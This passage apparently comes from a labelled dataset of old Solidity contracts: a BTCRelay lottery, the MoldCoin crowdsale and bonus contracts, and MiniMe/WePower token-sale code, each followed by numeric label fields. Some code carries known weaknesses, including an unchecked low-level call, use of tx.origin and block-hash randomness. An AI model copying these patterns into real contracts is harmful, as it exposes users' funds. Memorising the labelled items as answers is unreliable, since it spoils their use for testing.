delta = block.timestamp - btcTimestamp;
}
return delta < 2 * 60 * 60 &&
lotteries[id].numTicketsSold == lotteries[id].numTickets &&
lotteries[id].decidingBlock == -1;
}
function finalizeBlock()
afterInitialization {
require(needsBlockFinalization());
int blockHeight = BTCRelay(btcRelay).getLastBlockHeight();
lotteries[id].decidingBlock = blockHeight + 54;
}
function needsLotteryFinalization()
afterInitialization constant returns (bool) {
int blockHeight = BTCRelay(btcRelay).getLastBlockHeight();
return lotteries[id].decidingBlock != -1 &&
blockHeight >= lotteries[id].decidingBlock + 6 &&
lotteries[id].finalizationBlock == 0;
}
function finalizeLottery(uint _steps)
afterInitialization {
require(needsLotteryFinalization());
if (lotteries[id].nearestKnownBlock != lotteries[id].decidingBlock) {
walkTowardsBlock(_steps);
} else {
int winningTicket = lotteries[id].nearestKnownBlockHash %
int(lotteries[id].numTickets);
address winner = lotteries[id].tickets[uint(winningTicket)];
lotteries[id].winningTicket = winningTicket;
lotteries[id].winner = winner;
lotteries[id].finalizationBlock = block.number;
lotteries[id].finalizer = tx.origin;
if (winner != 0) {
uint value = lotteries[id].jackpot;
bool successful =
winner.call.gas(GAS_LIMIT_DEPOSIT).value(value)();
if (!successful) {
Escrow(escrow).deposit.value(value)(winner);
}
}
var _ = admin.call.gas(GAS_LIMIT_DEPOSIT).value(this.balance)();
}
}
function walkTowardsBlock(uint _steps) internal {
int blockHeight;
int blockHash;
if (lotteries[id].nearestKnownBlock == 0) {
blockHeight = BTCRelay(btcRelay).getLastBlockHeight();
blockHash = BTCRelay(btcRelay).getBlockchainHead();
} else {
blockHeight = lotteries[id].nearestKnownBlock;
blockHash = lotteries[id].nearestKnownBlockHash;
}
for (uint step = 0; step < _steps; step++) {
blockHeight -= 1;
(blockHash,) = getBlockHeader(blockHash);
if (blockHeight == lotteries[id].decidingBlock) { break; }
}
lotteries[id].nearestKnownBlock = blockHeight;
lotteries[id].nearestKnownBlockHash = blockHash;
}
function getBlockHeader(int blockHash)
internal returns (int prevBlockHash, uint timestamp) {
int fee = BTCRelay(btcRelay).getFeeAmount(blockHash);
require(fee == 0);
bytes32[5] memory blockHeader =
BTCRelay(btcRelay).getBlockHeader(blockHash);
prevBlockHash = 0;
for (uint i = 0; i < 32; i++) {
uint pos = 68 + i;
byte data = blockHeader[pos / 32][pos % 32];
prevBlockHash = prevBlockHash | int(data) * int(0x100 ** i);
}
timestamp = 0;
for (i = 0; i < 4; i++) {
pos = 132 + i;
data = blockHeader[pos / 32][pos % 32];
timestamp = timestamp | uint(data) * uint(0x100 ** i);
}
return (prevBlockHash, timestamp);
}
function getMessageLength(string _message) constant returns (uint) {
return bytes(_message).length;
}
function setMessage(int _id, string _message)
afterInitialization {
require(lotteries[_id].winner != 0);
require(lotteries[_id].winner == msg.sender);
require(getMessageLength(_message) <= 500);
lotteries[_id].message = _message;
}
function getLotteryDetailsA(int _id)
constant returns (int _actualId, uint _jackpot,
int _decidingBlock,
uint _numTickets, uint _numTicketsSold,
uint _lastSaleTimestamp, uint _ticketPrice) {
if (_id == -1) {
_actualId = id;
} else {
_actualId = _id;
}
_jackpot = lotteries[_actualId].jackpot;
_decidingBlock = lotteries[_actualId].decidingBlock;
_numTickets = lotteries[_actualId].numTickets;
_numTicketsSold = lotteries[_actualId].numTicketsSold;
_lastSaleTimestamp = lastSaleTimestamp;
_ticketPrice = lotteries[_actualId].ticketPrice;
}
function getLotteryDetailsB(int _id)
constant returns (int _actualId,
int _winningTicket, address _winner,
uint _finalizationBlock, address _finalizer,
string _message,
int _prevLottery, int _nextLottery,
int _blockHeight) {
if (_id == -1) {
_actualId = id;
} else {
_actualId = _id;
}
_winningTicket = lotteries[_actualId].winningTicket;
_winner = lotteries[_actualId].winner;
_finalizationBlock = lotteries[_actualId].finalizationBlock;
_finalizer = lotteries[_actualId].finalizer;
_message = lotteries[_actualId].message;
if (_actualId == 0) {
_prevLottery = -1;
} else {
_prevLottery = _actualId - 1;
}
if (_actualId == id) {
_nextLottery = -1;
} else {
_nextLottery = _actualId + 1;
}
_blockHeight = BTCRelay(btcRelay).getLastBlockHeight();
}
function getTicketDetails(int _id, uint _offset, uint _n, address _addr)
constant returns (uint8[] details) {
require(_offset + _n <= lotteries[_id].numTickets);
details = new uint8[](_n);
for (uint i = 0; i < _n; i++) {
address addr = lotteries[_id].tickets[_offset + i];
if (addr == _addr && _addr != 0) {
details[i] = 2;
} else if (addr != 0) {
details[i] = 1;
} else {
details[i] = 0;
}
}
}
function getFullTicketDetails(int _id, uint _offset, uint _n)
constant returns (address[] details) {
require(_offset + _n <= lotteries[_id].numTickets);
details = new address[](_n);
for (uint i = 0; i < _n; i++) {
details[i] = lotteries[_id].tickets[_offset + i];
}
}
function getTicketOwner(int _id, uint _ticket) constant returns (address) {
require(_id >= 0);
return lotteries[_id].tickets[_ticket];
}
function getRecentActivity()
constant returns (int _id, uint _idx, uint[1000] _recentActivity) {
_id = id;
_idx = recentActivityIdx;
for (uint i = 0; i < recentActivity.length; i++) {
_recentActivity[i] = recentActivity[i];
}
}
function setAdmin(address _admin) onlyOwner {
admin = _admin;
}
function proposeOwner(address _owner) onlyOwner {
proposedOwner = _owner;
}
function acceptOwnership() {
require(proposedOwner != 0);
require(msg.sender == proposedOwner);
owner = proposedOwner;
}
} | 0 | 24 |
pragma solidity ^0.4.11;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract MoldCoin is StandardToken, SafeMath {
string public name = "MOLD";
string public symbol = "MLD";
uint public decimals = 18;
uint public startDatetime;
uint public firstStageDatetime;
uint public secondStageDatetime;
uint public endDatetime;
address public founder;
address public admin;
uint public coinAllocation = 20 * 10**8 * 10**decimals;
uint public angelAllocation = 2 * 10**8 * 10**decimals;
uint public founderAllocation = 3 * 10**8 * 10**decimals;
bool public founderAllocated = false;
uint public saleTokenSupply = 0;
uint public salesVolume = 0;
uint public angelTokenSupply = 0;
bool public halted = false;
event Buy(address indexed sender, uint eth, uint tokens);
event AllocateFounderTokens(address indexed sender, uint tokens);
event AllocateAngelTokens(address indexed sender, address to, uint tokens);
event AllocateUnsoldTokens(address indexed sender, address holder, uint tokens);
modifier onlyAdmin {
require(msg.sender == admin);
_;
}
modifier duringCrowdSale {
require(block.timestamp >= startDatetime && block.timestamp <= endDatetime);
_;
}
function MoldCoin(uint startDatetimeInSeconds, address founderWallet) {
admin = msg.sender;
founder = founderWallet;
startDatetime = startDatetimeInSeconds;
firstStageDatetime = startDatetime + 120 * 1 hours;
secondStageDatetime = firstStageDatetime + 240 * 1 hours;
endDatetime = secondStageDatetime + 2040 * 1 hours;
}
function price(uint timeInSeconds) constant returns(uint) {
if (timeInSeconds < startDatetime) return 0;
if (timeInSeconds <= firstStageDatetime) return 15000;
if (timeInSeconds <= secondStageDatetime) return 12000;
if (timeInSeconds <= endDatetime) return 10000;
return 0;
}
function buy() payable {
buyRecipient(msg.sender);
}
function() payable {
buyRecipient(msg.sender);
}
function buyRecipient(address recipient) duringCrowdSale payable {
require(!halted);
uint tokens = safeMul(msg.value, price(block.timestamp));
require(safeAdd(saleTokenSupply,tokens)<=coinAllocation );
balances[recipient] = safeAdd(balances[recipient], tokens);
totalSupply = safeAdd(totalSupply, tokens);
saleTokenSupply = safeAdd(saleTokenSupply, tokens);
salesVolume = safeAdd(salesVolume, msg.value);
if (!founder.call.value(msg.value)()) revert();
Buy(recipient, msg.value, tokens);
}
function allocateFounderTokens() onlyAdmin {
require( block.timestamp > endDatetime );
require(!founderAllocated);
balances[founder] = safeAdd(balances[founder], founderAllocation);
totalSupply = safeAdd(totalSupply, founderAllocation);
founderAllocated = true;
AllocateFounderTokens(msg.sender, founderAllocation);
}
function allocateAngelTokens(address angel, uint tokens) onlyAdmin {
require(safeAdd(angelTokenSupply,tokens) <= angelAllocation );
balances[angel] = safeAdd(balances[angel], tokens);
angelTokenSupply = safeAdd(angelTokenSupply, tokens);
totalSupply = safeAdd(totalSupply, tokens);
AllocateAngelTokens(msg.sender, angel, tokens);
}
function halt() onlyAdmin {
halted = true;
}
function unhalt() onlyAdmin {
halted = false;
}
function changeAdmin(address newAdmin) onlyAdmin {
admin = newAdmin;
}
function arrangeUnsoldTokens(address holder, uint256 tokens) onlyAdmin {
require( block.timestamp > endDatetime );
require( safeAdd(saleTokenSupply,tokens) <= coinAllocation );
require( balances[holder] >0 );
balances[holder] = safeAdd(balances[holder], tokens);
saleTokenSupply = safeAdd(saleTokenSupply, tokens);
totalSupply = safeAdd(totalSupply, tokens);
AllocateUnsoldTokens(msg.sender, holder, tokens);
}
}
contract MoldCoinBonus is SafeMath {
function bonusBalanceOf(address _owner) constant returns (uint256 balance) {
return bonusBalances[_owner];
}
mapping (address => uint256) bonusBalances;
address public admin;
MoldCoin public fundAddress;
uint public rate = 10;
uint public totalSupply = 0;
bool public halted = false;
event BuyWithBonus(address indexed sender, address indexed inviter, uint eth, uint tokens, uint bonus);
event BuyForFriend(address indexed sender, address indexed friend, uint eth, uint tokens, uint bonus);
modifier onlyAdmin {
require(msg.sender == admin);
_;
}
modifier validSale {
require(!halted);
require(!fundAddress.halted());
_;
}
function MoldCoinBonus(MoldCoin _fundAddress, uint _rate) {
admin = msg.sender;
fundAddress = _fundAddress;
rate = _rate;
}
function buyWithBonus(address inviter) validSale payable {
require( msg.sender != inviter );
uint tokens = safeMul(msg.value, fundAddress.price(block.timestamp));
uint bonus = safeDiv(safeMul(tokens, rate), 100);
fundAddress.buyRecipient.value(msg.value)(msg.sender);
totalSupply = safeAdd(totalSupply, bonus*2);
bonusBalances[inviter] = safeAdd(bonusBalances[inviter], bonus);
bonusBalances[msg.sender] = safeAdd(bonusBalances[msg.sender], bonus);
BuyWithBonus(msg.sender, inviter, msg.value, tokens, bonus);
}
function buyForFriend(address friend) validSale payable {
require( msg.sender != friend );
uint tokens = safeMul(msg.value, fundAddress.price(block.timestamp));
uint bonus = safeDiv(safeMul(tokens, rate), 100);
fundAddress.buyRecipient.value(msg.value)(friend);
totalSupply = safeAdd(totalSupply, bonus*2);
bonusBalances[friend] = safeAdd(bonusBalances[friend], bonus);
bonusBalances[msg.sender] = safeAdd(bonusBalances[msg.sender], bonus);
BuyForFriend(msg.sender, friend, msg.value, tokens, bonus);
}
function halt() onlyAdmin {
halted = true;
}
function unhalt() onlyAdmin {
halted = false;
}
function changeAdmin(address newAdmin) onlyAdmin {
admin = newAdmin;
}
function changeRate(uint _rate) onlyAdmin {
rate = _rate;
}
} | 1 | 4,273 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ExchangerI {
ERC20Basic public wpr;
function collect(address caller) public;
}
contract TokenController {
function proxyPayment(address _owner) payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) returns(bool);
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() { controller = msg.sender;}
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract WPR is MintableToken, PausableToken {
string constant public name = "WePower Token";
string constant public symbol = "WPR";
uint constant public decimals = 18;
function WPR() {
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
function disown() public onlyOwner {
OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
contract Contribution is Ownable {
using SafeMath for uint256;
WPR public wpr;
address public contributionWallet;
address public teamHolder;
address public communityHolder;
address public futureHolder;
address public exchanger;
uint256 public totalCollected;
uint256 public totalWeiCap;
uint256 public totalWeiCollected;
uint256 public presaleTokensIssued;
uint256 public minimumPerTransaction = 0.01 ether;
uint256 public numWhitelistedInvestors;
mapping (address => bool) public canPurchase;
mapping (address => uint256) public individualWeiCollected;
uint256 public startTime;
uint256 public endTime;
uint256 public initializedTime;
uint256 public finalizedTime;
uint256 public initializedBlock;
uint256 public finalizedBlock;
bool public paused;
modifier initialized() {
require(initializedBlock != 0);
_;
}
modifier contributionOpen() {
require(getBlockTimestamp() >= startTime &&
getBlockTimestamp() <= endTime &&
finalizedTime == 0);
_;
}
modifier notPaused() {
require(!paused);
_;
}
function Contribution(address _wpr) {
require(_wpr != 0x0);
wpr = WPR(_wpr);
}
function initialize(
address _wct1,
address _wct2,
address _exchanger,
address _contributionWallet,
address _futureHolder,
address _teamHolder,
address _communityHolder,
uint256 _totalWeiCap,
uint256 _startTime,
uint256 _endTime
) public onlyOwner {
require(initializedBlock == 0);
require(initializedTime == 0);
assert(wpr.totalSupply() == 0);
assert(wpr.owner() == address(this));
assert(wpr.decimals() == 18);
wpr.pause();
require(_contributionWallet != 0x0);
contributionWallet = _contributionWallet;
require(_futureHolder != 0x0);
futureHolder = _futureHolder;
require(_teamHolder != 0x0);
teamHolder = _teamHolder;
require(_communityHolder != 0x0);
communityHolder = _communityHolder;
require(_startTime >= getBlockTimestamp());
require(_startTime < _endTime);
startTime = _startTime;
endTime = _endTime;
require(_totalWeiCap > 0);
totalWeiCap = _totalWeiCap;
initializedBlock = getBlockNumber();
initializedTime = getBlockTimestamp();
require(_wct1 != 0x0);
require(_wct2 != 0x0);
require(_exchanger != 0x0);
presaleTokensIssued = MiniMeToken(_wct1).totalSupplyAt(initializedBlock);
presaleTokensIssued = presaleTokensIssued.add(
MiniMeToken(_wct2).totalSupplyAt(initializedBlock)
);
require(wpr.mint(_exchanger, presaleTokensIssued.mul(10000)));
exchanger = _exchanger;
Initialized(initializedBlock);
}
function blacklistAddresses(address[] _investors) public onlyOwner {
for (uint256 i = 0; i < _investors.length; i++) {
blacklist(_investors[i]);
}
}
function isWhitelisted(address _investor) public onlyOwner constant returns(bool) {
return canPurchase[_investor];
}
function whitelistAddresses(address[] _investors) public onlyOwner {
for (uint256 i = 0; i < _investors.length; i++) {
whitelist(_investors[i]);
}
}
function whitelist(address investor) public onlyOwner {
if (canPurchase[investor]) return;
numWhitelistedInvestors++;
canPurchase[investor] = true;
}
function blacklist(address investor) public onlyOwner {
if (!canPurchase[investor]) return;
numWhitelistedInvestors--;
canPurchase[investor] = false;
}
function exchangeRate() constant public initialized returns (uint256) {
return 8000;
}
function tokensToGenerate(uint256 toFund) internal returns (uint256 generatedTokens) {
generatedTokens = toFund.mul(exchangeRate());
}
function () public payable notPaused {
proxyPayment(msg.sender);
}
function proxyPayment(address _th) public payable notPaused initialized contributionOpen returns (bool) {
require(_th != 0x0);
if (msg.value == 0) {
wpr.unpause();
ExchangerI(exchanger).collect(_th);
wpr.pause();
} else {
doBuy(_th);
}
return true;
}
function doBuy(address _th) internal {
require(canPurchase[_th]);
require(msg.value >= minimumPerTransaction);
uint256 toFund = msg.value;
uint256 toCollect = weiToCollectByInvestor(_th);
require(toCollect > 0);
if (toFund > toCollect) {
toFund = toCollect;
}
uint256 tokensGenerated = tokensToGenerate(toFund);
require(tokensGenerated > 0);
require(wpr.mint(_th, tokensGenerated));
contributionWallet.transfer(toFund);
totalCollected = totalCollected.add(toFund);
individualWeiCollected[_th] = individualWeiCollected[_th].add(toFund);
totalWeiCollected = totalWeiCollected.add(toFund);
NewSale(_th, toFund, tokensGenerated);
uint256 toReturn = msg.value.sub(toFund);
if (toReturn > 0) {
_th.transfer(toReturn);
}
}
function finalize() public initialized {
require(finalizedBlock == 0);
require(finalizedTime == 0);
require(getBlockTimestamp() >= startTime);
require(msg.sender == owner || getBlockTimestamp() > endTime || weiToCollect() == 0);
uint CROWDSALE_PCT = 62;
uint TEAMHOLDER_PCT = 20;
uint COMMUNITYHOLDER_PCT = 15;
uint FUTUREHOLDER_PCT = 3;
assert(CROWDSALE_PCT + TEAMHOLDER_PCT + COMMUNITYHOLDER_PCT + FUTUREHOLDER_PCT == 100);
uint256 tokenCap = wpr.totalSupply().mul(100).div(CROWDSALE_PCT);
wpr.mint(teamHolder, tokenCap.mul(TEAMHOLDER_PCT).div(100));
wpr.mint(communityHolder, tokenCap.mul(COMMUNITYHOLDER_PCT).div(100));
wpr.mint(futureHolder, tokenCap.mul(FUTUREHOLDER_PCT).div(100));
require(wpr.finishMinting());
wpr.transferOwnership(owner);
finalizedBlock = getBlockNumber();
finalizedTime = getBlockTimestamp();
Finalized(finalizedBlock);
}
function weiToCollect() public constant returns(uint256) {
return totalWeiCap > totalWeiCollected ? totalWeiCap.sub(totalWeiCollected) : 0;
}
function weiToCollectByInvestor(address investor) public constant returns(uint256) {
uint256 cap;
uint256 collected;
if (getBlockTimestamp() <= startTime + 5 hours) {
cap = totalWeiCap.div(numWhitelistedInvestors);
collected = individualWeiCollected[investor];
} else {
cap = totalWeiCap;
collected = totalWeiCollected;
}
return cap > collected ? cap.sub(collected) : 0;
}
function getBlockNumber() internal constant returns (uint256) {
return block.number;
}
function getBlockTimestamp() internal constant returns (uint256) {
return block.timestamp;
}
function setTotalCollected(uint _totalCollected) public onlyOwner {
totalCollected = _totalCollected;
}
